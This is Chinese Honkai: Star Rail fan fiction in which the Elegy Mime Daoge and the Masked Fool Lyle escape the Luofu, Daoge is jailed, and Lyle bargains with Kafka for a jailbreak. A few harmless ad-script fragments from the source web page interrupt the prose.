“尔时倏忽令使问千手慈怀药王言:「众生有疾,万类皆苦。一切有情众生,缚于生老病苦,何谓苦本?」 “千手慈怀药王言:「生老病苦,皆归于死。生者之苦,苦于有涯。老者之苦,苦于必至。病者之苦,苦于近死。是故生老病苦,谓有死。从有死,则为苦本。」 “倏忽令使合掌言:「一切有情众生,有灭尽日,有轮回日,何断生老病苦?」 “千手慈怀药王告倏忽令使言:「是彼众生,囿于形骸,如囚入笼,受三苦刑。吾今植永寿神木,令彼众生解脱,生无涯,老不至,死回生,断离烦恼。」 “……” 有一个舒缓沉静的声音,在念诵她已经诵读千百遍的经文。 那声音十分遥远,像来自冥河的彼岸,却如雾如纱一样飘在水面,将已经分崩离析的她重新打捞起来,温和地重组她的精神。 “……尔时莳者九万九千九百九十九人俱言:「药王慈怀,建木生发。莳者一心,同登极乐。」 “说是语时,莳者九万九千九百九十九人俱,皆断生老病苦。 ” 这最后一句话也落下了,轻柔的尾音在空气中久久不散,一种剧烈的悲伤忽然侵占了她全部的心神,让她即使闭着眼睛,也不由落泪。 经文结束了……余音落地了。就像她的大业,已经失败。就像她的朋友,已经回不来。就像此生种种,都变作空中泡影,再不能回头。 “……”那个声音轻柔地说,“丹枢女士,请睁开眼睛。” 她流着泪睁开眼睛,入目是太真丹室那巨大的丹炉,其次是悲悼伶人那双浅蓝色的眼睛。 丹枢压抑着心底那麻痹般的悲伤,挣扎着坐起来,说:“伶人……你为什么会在这里……” “我来接我的朋友。”悲悼伶人拄着拐杖,静静地垂首看着这位失败的魁首,“丹枢女士,请尽快离开吧,幻胧并不是一位好相与的合作者,她对药王秘传,只有利用之心。” “……”丹枢问,“是你救了我?” “您对我心怀善意,”悲悼伶人蹲下身,向丹枢伸出一只手,说,“然而我欺骗了您,对此我感到抱歉。因此我来此地,希望能阻止您作为虚卒死去的命运。” “……你欺骗了我?”丹枢喃喃地重复。 “玉界门,的确由我打开。星穹列车,的确由我放进罗浮。”悼歌说。 “……”丹枢沉默地搭着伶人的手站起来。 “丹枢女士,某种意义上,我很钦佩您……”伶人的视线投向那一地的虚卒尸体,他们曾经是药王秘传的魔阴身,现在却变成了毁灭的棋子: “星神是寰宇中距离人最遥远的存在,我们对他们来说,就如同一粒粒灰尘。您却能使他人相信,寰宇中的确有那么一位星神,祂慈爱而温柔,慷慨又无私,会为凡人免去生老病死的苦楚……也许对景元来说,您的确是十恶不赦的邪教首领;但对另一些人,您的确挽救他们,于无边孤寂悲哀之中。” “因为即使是无望的希望,”伶人说,“也会给人继续活下去的勇气。” 伶人收回了视线,回看丹枢,消沉地长长叹息,说: “但是我还是想劝您,停下吧。您以天才的造诣发明了种种药方,假托千年前那个已经消失的组织,创立如今的药王秘传……” “您比任何人都清楚,药王秘传是一个谎言。您如今信奉的星神药师,和从前您信奉的星神岚,对您而言并没有本质区别。即使是号称从不拒绝祈求的药师,也不会回应您的呼召……因为您离祂太远。” 丹枢无言地注视这位伶人,忽然意识到他的捉摸不透。她心底有许多思绪,然而最终都成为无言,只好对悲悼伶人微微一颔首,便拖着伤痕累累的身躯离开此地。 她离开不过几秒,伶人就不得不弯下腰去咳血。 他按着拐杖深呼吸,终于起身。好在此处各色血液混杂,等会即使愚者赶来,也看不出异样。 悼歌拄着拐杖静静地站在丹炉下等候。 千里迢迢赶来的愚者从丹炉上方一跃而下,在伶人身后轻巧落地,笑眯眯说:“忒利斯提斯,你怎么来了?”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “我来接你。”悼歌转身,观察了一下莱尔,确认他身上没有多出来的伤痕,也没有被幻胧转化成虚卒,继续问,“你有受伤吗?” “哈!”莱尔不屑又嘲弄地从鼻腔里发出一声冷笑,“那个幻胧果然言而无信,不肯按照约定将建木神实分我们一份。不过嘛——” 莱尔笑眯眯地把背在身后的手拿到身前,手上,那一半青金色的莲花慢悠悠地散发着莹莹光辉,昭示着丰饶无穷无尽的生命力。 愚者将这一半建木神实递到伶人眼前,轻快地说:“你看,愚者想要的东西岂会有拿不到的啊?” “啊,我一直知道。”悼歌很浅地微笑了一下。 “哎呀,你刚刚是笑了?”莱尔摸着下巴凑近。 “……”悼歌立刻恢复成惯用的神情,说,“我没有面神经麻痹这种病,会笑是理所当然的……不过现在不是说这个的时候,我们得快一点离开。否则反应过来的景元或许会找你我算账。” “欸!我有一个主意!”莱尔又两眼放光地竖起一根手指,说,“反正你我是板上钉钉的罗浮通缉犯了,正好现在景元和丹恒又在打幻胧腾不出手……你看,我们都拿了罗浮的丰饶神迹了,再多拿一点怎么样?我觉得太卜司那个穷观阵很不错。” 悼歌想了想,说:“那个穷观阵太大了,要带上飞船有点难……你有别的想要的吗?我记得金人巷有卖自动念经机,你可能会对这个感兴趣……” 伶人说完,才反应过来莱尔的意思,沉默片刻,说:“等一下。我记得你是假面愚者,不是假面大盗。” “哎呀,”莱尔笑眯眯地说,“我开个玩笑。我们快走吧,再不走就真的要被扣下来吃牢饭啦。” ******* “……” 经历种种危难,星穹列车一行人终于汇合。现在已经到了万众一心打boss的时刻,然而在这样危险的时刻,穹却实在忍不住不合时宜地发出一句疑惑: “幻胧头上那朵花,为什么少了一半?” 这句疑惑一出,全场都陷入某种微妙的寂静。 毁灭的令使愤怒而阴沉地低笑出声:“不知死活的蝼蚁。” “一星半点的损耗,”不消一秒这位令使就冷静下来,她深呼吸,优雅地执着团扇伸手,向众人展示那副美丽而富于生机的躯体,“并不损害这副肉身的完美。列位,瞧见了么?这就是丰饶神迹的力量……” “道理我都懂,”穹说,“但是你头上那朵花,为什么少了一半?” “……不知死活!”幻胧怒道,“本想与你们看看这完美的力量,现在看来也不必多做言语!” 穹转头对丹恒说:“你看,急了。” 三月七在一旁帮腔说:“你看,急了。” 丹恒无奈地叹了一口气,将这两位活宝似的伙伴护至身后,说:“她是毁灭的令使,现在又兼具丰饶的力量。小心。” “不用怕她,我们一起上,定叫她有来无回!”穹说。 13. 十三、命运 远处,鳞渊境建木玄根处,闪耀着电焊般闪瞎眼睛的光芒。 莱尔背着悼歌急速奔行,平稳又迅速地离开鳞渊境,抵达丹鼎司。 他感受到空气中巡猎的力量和丰饶力量的剧烈交锋,眯着眼睛回头看了一眼,又转过头来,笑着说:“好消息,忒利斯提斯,幻胧要输啦。” “意料之中。”悼歌说,“下一个路口往右边走,我们绕过行医市集,那里驻扎的云骑太多了……我们从工造司过去长乐天,再从长乐天去星槎海中枢。” “我们从星槎海中枢离开?”莱尔问。 “不,我们从流云渡离开……之前我在玉界门系统中留下了一道权限,现在整个罗浮封锁,只有那里才能离开罗浮。”悼歌忍耐着一阵又一阵的痛楚,慢吞吞而清晰地说。 “坏处是要绕很远的路,恐怕会有变数……”悼歌顿了一下,说,“虽然我已经选了避开云骑的路线,但是,万一符玄追上来,你就一个人先走……” 悲悼伶人沉沉叹气:“如果我还健康的话,我们被追上的可能性会降低很多……可惜世界上没有如果。” “你又要抛下我吗?”莱尔可怜兮兮地卖惨说,“忒利斯提斯,你好狠心。” “我不会抛下你,”伶人暗地里吞咽了一口血,慢吞吞地说,“只是符玄的穷观阵可以探知人的记忆,对你伤害太大了。” “哎呀,什么话?为你而死我很愿意,”莱尔笑眯眯地说,“比不知道死在寰宇的哪个犄角旮旯欢愉多啦!我只有一个要求:我能要个炫光五彩墓碑吗?最好还能自带音响,一有人走过来,就开始播放一阵强劲的音乐……” “……”悼歌说,“下一次你有机会死的时候我会考虑的。你想要放什么歌?” “我想想,”莱尔严肃地开始思考,“这个怎么样?‘撕裂~形骸~解放~’够强劲。” “这是什么歌?”悼歌在脑海中搜寻了一遍曲库,发现自己并没有听过,于是问。 “哈哈!”莱尔乐得眉飞色舞,笑着说,“这是那位持明龙尊饮月丹恒的变身小曲!你也可以说这是开海之歌!” “既然是他的歌,你这样用,不怕他找你问版权问题吗?”伶人只当愚者又在虚构不存在的记忆发癫说胡话,于是顺着他的话反问。 “呃,好像对哦?”莱尔沉思,“那就换成这个怎么样?‘i am the storm that is approaching!!!’” “这又是什么歌?”悼歌问。 “大病的小曲,又称抛瓦之歌……”莱尔笑眯眯地说。 还没说完,忽然他的神情冷下来:“哎呀……忒利斯提斯,有人追上来了。” “……太快了。”悼歌叹了口气,思忖,“这个速度,来的恐怕就是能卜算天机的符玄。” “卜算天机……”莱尔重复了一遍,“我讨厌这类能力。” “放我下来吧,”悼歌沉吟片刻,说,“记得我之前向你说过的路线。去流云渡,从那里离开……” “迟了。”一个清脆的女声冷喝,“休想离开。云骑,把他们两个拿住!” 来人正是罗浮太卜司太卜,符玄。 这位身材娇小的太卜像一阵烟雾一样轻,从高空的星槎上飞落至地面,身上复杂的飘带缓慢地随风飘起,又慢慢垂落。 云骑从身后围上来,层层叠得拦住去路。 莱尔轻轻地将悼歌放下来,转手之间,那柄光泽奇异的匕首已经在他手指间转了一个来回,又被他稳稳地握住。 “您好,符太卜。”悼歌站定,深呼吸,慢吞吞地打招呼说,“您来得比预料之中快很多。” “初次见面,伶人。”符玄闭着眼睛手捏卦象,复而睁开,“不,该说久见了。本座已在法眼中遍历了同你的十数次会面。” “哇哦,了不起!”莱尔阴阳怪气道,“这就是传说中的脑测,又称空想占卜法?” “愚人无知,狂妄谵语。”符玄冷哼一声,傲然道,“推占卜筮,乃是仙舟群贤历代相传之妙法,其复杂玄奥,岂是你妄加揣测就能参透的……“ “……”莱尔转过头去和悼歌说,“你看,无趣。掉书袋里的死板学究,和她说话都费劲的很。” “毕竟联觉信标也不是万能的。”悼歌说。 悲悼伶人握紧拐杖,上前一步,拦在符玄与莱尔之间,沉静地说:“罗浮皆知符太卜有【法眼无遗】之称……而我曾听说过寰宇中命运的奴隶那神奇的能力,据传他是终末的令使,能够洞见未来之景,其所创造的剧本,将分毫不差地预见每一件将发生之事……太卜,以您之见,世界上真的存在命运?” “世间万物自有其法,然而人力亦有可为……”符玄闭上眼睛,说,“本座与你们说这么多做什么?我已知晓你伙同你的同党秘密潜入仙舟,勾结药王秘传,挑动内乱,诱堕魔阴,致使仙舟星核灾变之事……今日必得叫你们知道仙舟不是想来就来想走就走之地!云骑听令!” “哈哈!”莱尔冷笑三声,出手从侧面挑飞云骑朝着悼歌刺过来的长枪,皮笑肉不笑地说,“好多罪名,我们真能干啊?哎呀,真是承蒙您看得起。我们的确不是什么好人……但是我得提醒你,或者说我得问问你——” 愚者如同舞蹈一般轻巧地劈手将那柄枪夺过来,又借势扫出,挥倒了一大片云骑,期间悼歌甚至没挪动半步,然而在愚者那刁钻的身法之下,枪甚至难以碰到伶人的衣角。 “——长生难道不是你们仙舟自己求的吗?魔阴身难道不是你们仙舟人自己内部的毛病吗?” 莱尔一边轻松地躲避着云骑的攻击,顺便在每一个即将出手打到悼歌的云骑后颈狠狠劈一手刀将人击倒,一边笑眯眯地说: “药王秘传,嗬嗬,那更是你们仙舟人自己的贪婪养出来的祸患。更何况它就潜伏在你们罗浮六御之中?什么?你说你【法眼无遗】?呜哇,就自个上班门口拐个弯就到的地方,那片地都快成丰饶孽物的大本营、药师驻仙舟使馆啦,您还压根什么都不知道呢!还是说您要嘴硬,‘本座早就知道,只是本座卜算过,天机如此,得按兵不动罢了’——” 愚者的模仿阴阳怪气,惟妙惟肖,嘲讽度顿时上升好几个点,几个云骑纷纷对他怒目而视,完全忘记了一边的悼歌,将全部的火力对准了愚者。 “本座还以为你有何妙语,”符玄说,“不过是些愚人惯用的伎俩。搬弄是非、颠倒黑白,以为这样就能乱我军士气?只是负隅顽抗罢了!” 她眼神一肃,手捏卦象,额头之间,那只博士尊赐予的法眼就要睁开—— 忽然,世界静默了片刻。 “……帝弓崔嵬立艏楼,提膂岿然开轩辕。” 有一道气息平稳,吐字清晰的声音在开口唱一支歌,声音不大,但却非常清晰地传进在场每一位云骑的耳朵。唱词是仙舟人非常熟悉的《帝弓迹躔歌》中的第五支,讲述帝弓作为凡人陨落的那一场战役。 符玄紧紧盯着纷争中央的悲悼伶人,一时之间,巨大的哀怆从心底蔓延开来,令她心神俱荡,眼前一片模糊,胸口闷痛,手指也动弹不得分毫。 该死。符玄竭力挪动手指,以至于整个身体都微微颤抖起来。 悲悼伶人继续 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' : “劝君忘生固决死,今当快战挽狂澜。 “愿教身后总常胜,负勇怀毅荡妖寇。” 符玄看见那些云骑都纷纷僵在原地,动弹不得,一个个眼泪鼻涕糊了满脸。 “……” “恸乎恸哉遍星野,血涕血泣何泫然。 “可怜一生英雄泪,不逐罗浮逐孤星。” 那声音越唱越不复清晰,平稳的声线也随之紧绷着摇动,仿佛歌唱者本人也在为之血泣——符玄透过模糊的视线勉力看去,发现伶人竟然真的在向外呕出血液。方才撑着拐杖也要身姿端正的悲悼伶人此刻狼狈地跌坐在地面上,白色的长卷发浸泡在他自己的血泊里。 符玄咬着牙催动法眼睁开,终于冲破了那种悲伤的无形束缚,她立即大喝: “都给本座清醒些!” 然而这一声无法惊醒那些云骑。 符玄忍着麻痹似的感觉干脆地擦去泪水,冲到伶人面前揪住伶人的领子喝令: “停下!” “……”伶人奄奄一息地、冷静地说,“太卜,这一曲已经结束了……” “……!”符玄突然意识到什么,松开伶人的衣领,直起腰来四下里张望,却发现,那刚刚还在此处的假面愚者,早就已经消失得无影无踪。 ********** “太卜大人——” 鳞渊镜入口处,打完幻胧的星穹列车一行人瞧见了符玄的身影。三月七兴奋地挥手叫道:“太卜大人,你总算来了!” “本座已基本完成对药王秘传残党的剿灭,”刚刚和悼歌、药王秘传、丰饶孽物、魔阴身激战一番的符玄疲惫又强打精神地问,“你们——” 她止住了话头:那个此时此刻被丹恒和穹各自拖着一只胳膊的白毛,不是景元么?! 景元双目紧闭,神情安详,仿佛已经完成毕生夙愿,只差双手合十入土。 符玄瞪大眼睛:“将军他——?” “他没事,”丹恒及时开口,说,“只是力竭不支,晕过去了。我们得尽快将将军送去医士那里,后续收尾工作,将军说,就要劳烦太卜了……” “将军没事就好。”符玄松了一口气。 说罢这位太卜脸上不禁微笑起来:“哼,也是……如今罗浮之上,除却本座,确无第二人可代将军分忧。也罢,本座便提前尽一尽应尽之责……” “对了,还有一事。”符玄正色道,“劳烦你们将此人一同送去医士那里。” 她示意身后的云骑将白头发的悲悼伶人转交给星穹列车一行人。 伶人阖着眼睛,呼吸微弱,看起来离死不远。 “这家伙,”穹看清了担架上那人苍白的面容,怪叫起来,“这不是绑架我那个悲悼伶人吗?!我就知道他有问题!” 丹恒也认出来担架上那人,此刻眉头紧锁,沉默不语。 “此人秘密潜入仙舟,勾结药王秘传,犯下不赦十恶,很有可能就是此次星核灾变的幕后黑手之一,理当受十王司审讯后投入幽囚狱,”符玄沉吟,“然而此次星核灾变尚有许多疑点未解,本座预备开启穷观阵,鉴往知来,演算真相。眼下他昏迷不醒,我需要一位医士暂时医治好他。” “啊?”三月七迷茫道,“他看起来只是一个,呃,普普通通的残疾人,审问他用得上穷观阵吗?” “此人病重垂危,命不久矣,严刑拷打只会让他加速一命呜呼,”符玄解释说,“更何况他也绝不像各位看到那样无害……运送他的路上务必当心。他的能力和声音有关,如果他有醒来的迹象,一定不能听他说话,切记。” 14. 十四、又见龙女 “白露小姐——白露小姐在吗!快来救救你家将军——”三月七拖长了尾音喊道。 “不要吵不要吵!”衔药龙女忙得晕头转向,大声说,“这里病人太多啦!” 三月七探头进屋内一看,被地上横七竖八躺了一地的云骑吓了一大跳:“呜哇!!这,这是什么情况?” 跟在她身后的穹被三月七突然停下脚步挡住,疑惑地探头说:“怎么了——” “呜哇!!这是什么情况??”穹惨叫一声。 三月七小心翼翼地弯腰查看那些横七竖八躺了一地的云骑,发现他们身上并无伤口,只是神情生无可恋,双目蓄满泪水,一声不吭地流着海带也似的泪水。 “呃……”三月七问,“他们这是怎么了?” 白露忙着查看那些病人,于是她身边的医士开口说: “这些云骑是符玄大人派人送来诊疗的。送他们来的人说,这些云骑和符玄大人一起参与了对悲悼伶人的追捕,但中了那伶人的妖术,于是就变成你们现在看到的样子了……” “呃……”穹问,“他们现在还清醒吗?” “你自己问问他们吧。”医士沉重地说。 三月七吞了口口水,蹲下来,将手掌放在一个云骑脸上晃了晃:“那个,云骑大哥,你还好吗?” 云骑并不想理她,只是生无可恋地流着海带泪。 “这不是完全不清醒吗!”三月七问医士,“这要怎么治啊?这看着不像病啊!” “这的确不是病!”白露查看完毕,严肃地说,“他们的身体状况都没有异常,用醒神的香和药草也起不了作用,恐怕还得要那个让他们变成这样的人出面……” 白露纠结地将眉头皱成一团,说:“算啦!左右他们现在也没有生命危险……将军现在在哪里呢?快快把将军抬进来吧!” 拖着景元的丹恒小心地将景元扶到病床上,说:“有劳。” 白露严肃地点点头,开始给景元诊疗。 “咦,对了,”三月七想起来什么,“那个悲悼伶人呢?太卜不是要我们把他送来看病,还活着呢吗?” “哦,你说那个白头发?”穹指了指门外地面,“在那边地上躺着,我刚才看了,快没气了。” “这人到底什么来头啊?”三月七走过来,弯腰打量担架上的悼歌,“是从哪里突然冒出来的?” “这人就是给我吃安眠药的那家伙!!”穹大声说,“我接了地衡司的任务去调查药王秘传的时候遇到了他,结果丹枢喂我吃药王秘传的降智小秘方,这家伙喂我吃安眠药!” “呃?降智小秘方?”三月七发出疑惑的声音。 穹说:“哦,这是这个悲悼伶人用来形容药王秘传的什么餐饮肠卤丹的,我觉得他说得很对……” “【餐云承露丹】?”丹恒急问,“你吃了这个?之前在鳞渊镜时为什么不告诉我?” “呃……你先别急,我没吃。这伶人给我换成安眠药了……”穹摸了摸脑袋,“没告诉你是因为……这不是,那时候情况太急了……” “这是什么药?”三月七担忧地问。 “这是药王秘传用来转化短生种为长生种的药,”一个平静的声音气若游丝地说,“但有极其严重的副作用:它会让服用的人在获得长生的同时,帮助你少走八百年弯路,立刻堕入魔阴身。” “哦,原来如此!幸好穹没吃……”三月七点头,忽然意识过来,“等等!谁在说话!” “就在您的脚边,三月七小姐。”悼歌保持着现在躺在担架上的姿势,说。 “他怎么醒了!”三月七惊恐道,“快,丹恒,穹,堵住他的嘴巴!完了!我们听到他说话了!太卜可是说过千万不能听他说话的啊啊啊啊——我们会怎么样?也变成那边地上躺着的那些流泪猫猫头吗?我不要啊——” “……”悼歌说,“您误会——唔。” 不由分说的穹和三月七根本没给伶人解释的机会,一拥而上,用一块毛巾死死堵住了悲悼伶人的嘴,还不放心,叫道:“丹恒,快过来帮忙呀!” 丹恒默默地注视着自己的两位活宝同伴对着半身不遂的悲悼伶人如临大敌,决定不掺和进去,以免显得星穹列车以多欺少,恃强凌弱——虽然那位悲悼伶人也算不上弱。 “……”悼歌安静地闭上嘴,试图用真诚的眼神示意穹和三月七松开手,可惜他的眼神抛给了木头看,这两个人完全不肯放松一点,严阵以待,堵着他的嘴直到白露走出来。 “将军没有大碍,只是透支过度,本小姐给将军开了药方,按时吃药,好好休息,不出七日就能活蹦乱跳的啦——”白露高兴地走出来宣布,然而在看到眼前混乱的场面之后,小小的龙女呆住三秒,“你,你们这是在做什么?” “白露小姐,你总算出来了!”三月七如蒙大赦,说,“你快给这个人看看病,确保他死不了之后,我们就把他交给符太卜!” 白露皱了皱鼻子:“你们在说什么乱七八糟的——咦!你是之前来找我看病的那个大哥哥?” “……”悼歌本想出于礼貌打个招呼,无奈三月七和穹执意不许他说话,只好作罢。 “白露小姐认识这个人?”三月七问。 “之前他找我看过病……”白露犹豫了一下,低头问,“大哥哥,里面那些云骑,是你做的吗?” “白露小姐,小心,”□□从不远处走到此地,推了推眼镜,说,“此人是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一名悲悼伶人,依靠言语发动能力,最好不要和他对话……” “就是就是,”三月七附和说,“我们还是快点把他交给符太卜吧。” “……”悼歌慢吞吞地眨了眨眼睛,用手中的拐杖点了点地面,空中忽然有细小的灰尘开始凝聚起来,形成一段仙舟文字: 我很抱歉,请让我为他们解开悲伤的束缚。 “……”白露犹豫不言。 “白露小姐,你可千万不要上了他的当啊!”三月七着急地说,“谁知道他想做什么?我们还是把他交给符太卜,让符太卜来做决定吧。” “……”白露抿了抿嘴唇,低头对悼歌说,“你的病我没办法。至于你现在的虚弱,我给你开一方弥补气血、温润经脉的药,你喝了就快快去见符太卜吧。” “倒也不必如此大费周章,”□□沉吟片刻说,“想必符太卜眼下正在神策府,我们可以请一位云骑小哥替我们通报太卜,问问她的意思,然后再做打算。” ******** 悼歌面不改色地将白露端出的那一碗漆黑发苦的药饮下。 此时,正好前去通报的云骑回来了,对他们说:“太卜大人的意思,让他为那些云骑兄弟解除症状,随后由我们押送他前往幽囚狱,等太卜处理完药王秘传那边的事之后,再对他使用穷观阵进行审问……” “你可别想耍什么花招哦!”三月七紧张地看着悲悼伶人撑着拐杖站起身,做出防备的姿势,“我们那么多人可都盯着你呢!” “……”悼歌贴心地选择了沉默的沟通方式,用拐杖点了点地面,在空中用灰尘写道: 请您放心,我只是一介将死之人。 伶人慢吞吞地踱步到那一地的云骑旁边,深呼吸,开口吐出一段唱词: “恸乎恸哉遍星野,血涕血泣何泫然。 “可怜一生英雄泪,不逐罗浮逐孤星。” 这唱词低沉又清晰,慢悠悠传入地上云骑的耳朵,原本瘫在地上做流泪猫猫头状的云骑渐渐缓过神来,止住了眼泪,迷茫地坐起身。 三月七看了看丹恒,又看了看穹,问:“你们有谁听到他说了什么?” 丹恒和穹摇头。 伶人唱完,咳了两声,用灰尘写道: 为了安各位的心,我为各位的耳朵免去听我唱刚才那两句唱词的苦恼。 “呃……你还怪贴心的嘞。怎么做到的?”三月难免好奇地嘟囔了一句。 “……算了,你别说话吧。”三月七摸了摸脑袋,对等候在一边的云骑说,“那就麻烦你们把他送去幽囚狱啦!剩下的部分,我们就不参与了。唉,总算结束了……” “是!”那两个云骑行了一个礼,说。 15. 十五、好巧,您也来坐牢啊 十王司拘字部判官将新领进来的罪囚暂时收押在幽囚狱的上层,就在之前那两个自首的囚犯隔壁的牢房里。 负责押送这名罪囚的云骑嘱托判官说,要将该名犯人的嘴巴封住,不能让他开口说话,于是判官给这位囚犯贴了一张闭口符,就放这囚犯进了牢笼。 悼歌安静地看着拘字部的判官离开。 虽说幽府武弁和十王司判官十分警惕他开口,但是悼歌完全没有要说话的意思。 因为悲悼伶人们即使缄默不语,亦有发声的方法,这声音能避开他人的耳朵,准确地传到特定的人那里。 悼歌慢吞吞地用手指有节奏地点着拐杖。 因此,此刻被关押在隔壁的罗刹非常清晰地听见一个空灵、熟悉、镇静、慢吞吞的声线礼貌地说: 【好巧,罗刹先生,您也来坐牢啊。】 “……”这声音是那位悲悼伶人的声线,然而自带诡异的混响,效果十分类似恐怖电影中幽灵鬼怪索命时幽幽的声音。 如果不是罗刹自信他耳朵没坏,或许他会误以为是那伶人已经重病死去,此刻是亡魂来找人索命。 罗刹抬眼观察守在此地的幽府武弁,他们握着武器戒备,并没有表现出异样。 很显然他们听不到伶人这句招呼。 罗刹想了想,在脑海中说: 【悼歌?】 【是我。】伶人的声音仍然带着那种诡异的混响,【罗刹先生,容我冒昧,您是出于什么原因进来的?】 罗刹:【将星核带入仙舟。】 伶人用手指叩击拐杖的动作停顿一瞬。 他慢吞吞地说:【啊……真巧,这也是我的罪名。】 “……”罗刹静默一瞬,镇定自若地回道: 【你是被冤枉的?】 伶人供认不讳:【不。的确是我做的。】 “……”罗刹沉默。 他沉思片刻,说: 【你和幻胧有联系?】 他问完,立刻肯定地说:【……你是为了建木而来的。】 伶人:【是的。】 伶人:【那么,您是为了什么来的?我被押进来的途中也看见了镜流女士……出于什么样的原因,你们要揽下这个本来该落在我头上的罪名?】 罗刹微笑,温和地说: 【为了一些共同的愿景。如今寰宇中盼着丰饶死的人,可不少呢。】 【……】 悼歌慢吞吞地问: 【您是说,您是为了杀死药师才认罪的?这逻辑说得通吗?】 罗刹:【我所言非虚。我只是一介行商,受人所托运送信物,因此来到仙舟。和镜流同行,是因为我们有共同的敌人。】 悼歌叹气,说: 【我并没有质疑这个回答的真实性,但请容我问得更直白一些……您揽下莫须有的大罪,现在被关在幽囚狱……您希望在幽囚狱找到什么?人?物?】 罗刹说: 【我踏入幽囚狱确有所图,但……此地并没有我所求之物。】 悼歌无声地又叹一口气。 对面的人,既擅长顾左右而言他,又擅长说只是换了个漂亮修辞的车轱辘话,当他铁了心什么都不打算透露的时候,就会发生现在这种听君一席话,如听一席话的状况。 【我没有更多问题了。】悼歌说,【希望您最终得偿所愿吧。】 ******* 太卜司。 一个隐秘的角落。 卡芙卡将魔阴身紧急发作的刃安置在此处——同丹恒一战,让他本就岌岌可危的精神状况雪上加霜,此刻阴沉的气息几乎都要具象化,让人不禁怀疑,一秒钟不看住他,他就会暴起,冲出去砍丹恒。 卡芙卡用言灵暂且稳住了他的状态,然而云骑的追捕还在继续,如果没有外人帮助,想要离开罗浮十分困难…… 思来想去,卡芙卡不得不给星穹列车的开拓者发了个消息,期待他能够前来,雪中送炭,为他们免去和联盟为敌的命运。 “你好你好!很久不见!哎呀,让我好找。”一个轻快的声音自屋顶响起来。 是穹来了? 卡芙卡转头,却见一个金发绿眼,笑意盈盈的人,正是假面愚者。 “……是你啊,”卡芙卡笑着说,“我听说悼歌被投入幽囚狱了。你自称他是你‘绝无仅有的朋友’,怎么没和他一起呢?” 莱尔做了一个苦瓜脸,佯装伤心大哭,说:“呜呜,说到这里,我必须谴责我这个不省心的朋友!你看,他说好不会抛下我的,结果自己一个人跑去坐牢了!” “呵呵……”卡芙卡摊手,“说正事吧,愚者。你既然来找我们,是来做什么的?” “干什么的?干什么的?”莱尔假装苦恼地摸了摸自己的下巴,“好难猜啊,我是来干什么的——” 他拉长了尾音,笑着说: “我是来挟恩图报的!你们家阿刃可是我从幽囚狱里捞出来的,现在该轮到你们了。” “有意思。”卡芙卡笑着说,“那原来是你干的?但是愚者,这两者的性质可完全不同。你救阿刃,那是在景元故意留出漏洞的情况下,哪怕你不去救,想必景元自己也会把人放了……但是你要我们去救悼歌,却是在如今幽囚狱全面戒严的情况下。这不是空手套白狼是什么呢?” “哎哟,哪里话?”莱尔歪头,“之前我们不是也帮过你们吗?我还以为我们多少算得上偷摸大鸡呢,你怎么表现得这样疏远?总不能因为你们星核猎手的小朋友去星穹列车了,你们就只愿意和你们的亲亲星穹列车玩了吧?不过嘛,话又说回来……” 愚者笑眯眯地环视一圈,忽然,暴起伤人。 他以迅雷不及掩耳之势一把抓住了在旁边打坐调息的刃,手指间寒光一闪,光泽奇异的匕首就抵在刃的脖子上。 愚者笑眯眯地说:“我就知道你会这样说。所以,欸,我另有一个主意。你看,现在他是我的人质了,这下不是空手套白狼了吧。” 刃完全无动于衷,那只漏在外面的血红色眼睛平静无波,散发出一种生无可恋的麻木和无谓。 啧。魔阴身。 莱尔咂舌,心想:好没节目效果!下次他一定要找一个戏剧化的人质!一被绑架,就会又哭又闹大 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 喊“妈妈救我”的那种。 “……”卡芙卡拔剑出鞘,指着莱尔,笑着说,“愚人,你找人质的水平不怎么样。难道悼歌没告诉过你,阿刃有丰饶赐福,是不死之身……?” “阿哈在上!”莱尔皮笑肉不笑地说,“谁说我要杀人啦?你们星核猎手好血腥,害怕。我是愚人,不是刽子手,没兴趣搞得血淋淋的……” 愚人的话还没说完,就有一个声音迟疑地问: “你们……在做什么?我是不是来得不是时候?” 莱尔和卡芙卡都闻声看去。 来人正是前星核猎手,现星穹列车无名客,大名鼎鼎的开拓者,穹。 “哎哟,这不是咱们寰宇的主角吗?”莱尔笑嘻嘻地打招呼,“你来的正是时候!” ******** 三人,一魔阴身,在太卜司隐秘的角落里,陷入微妙的沉默。 穹往左边看看,阴沉木讷的魔阴身刃转动眼珠子看他,往右边看看,气质危险神秘的都市丽人对他微微一笑,再往右边看看,金发绿眼的愚者皮笑肉不笑地回以注视。 “……这是什么情况。”穹问。 “……”愚者笑说,“你卡芙卡妈妈和我闹着玩呢。” “!!”穹顿时大惊失色,看向卡芙卡,“你是我妈妈?我不是星核变的吗!” 卡芙卡忍不住笑了一声,悠悠地说:“没错。构成你身体的数据有四分之一来自于我。” “……”穹纠结地看看卡芙卡,纠结地看看自己,张口,闭口,张口,闭口。 “她是在逗你玩。”刃看不下去了,低沉地说。 “……”穹松了一口气,但莫名又有些失落。 “什么?一定要有血缘或者基因上的关系才能是妈妈吗?你们这是繁育主义妈妈论!”愚者气愤地说,转而又对穹说,“不过你别太难过,只要你想的话,不仅卡芙卡可以是你的妈妈,刃也可以是你的妈妈——你小时候他还抱过你呢。” “……”穹再一次大惊失色。 “愚人。”刃警告道。 “行吧,我的幽默无人能懂。”莱尔说,“那么我来说说正事。我知道你们艾利欧是个写剧本的神棍,那,你们的剧本上有没有和我一起去劫狱这一环?如果没有那还是乘早加上吧!” “命运是这样运作的吗?”穹忍不住吐槽说。 “命运,”莱尔说,“呵呵。谁信这个我笑谁。” 卡芙卡意有所指地微笑说: “命运……的确这是一样既看不见又摸不着的东西。但是它的存在确凿无疑,就像那无数已经被确定好了的过去、以及现在。人们总是质疑它,但是等到那无数种可能的命运只吝啬地向你展示一副面相,而你无论如何都无法改变结局的时候,才会知道一切选择都是虚假,只是命中注定的可能性之一……” “呃。”穹看看莱尔,又看看卡芙卡,明显的感受到这两位皮笑肉不笑的危险人物针尖对麦芒的阴阳怪气。 “不过,要我帮你的忙,也不是不可以。”卡芙卡笑着说,“但是我有个条件。” “说来听听。”莱尔说。 16. 十六、审判 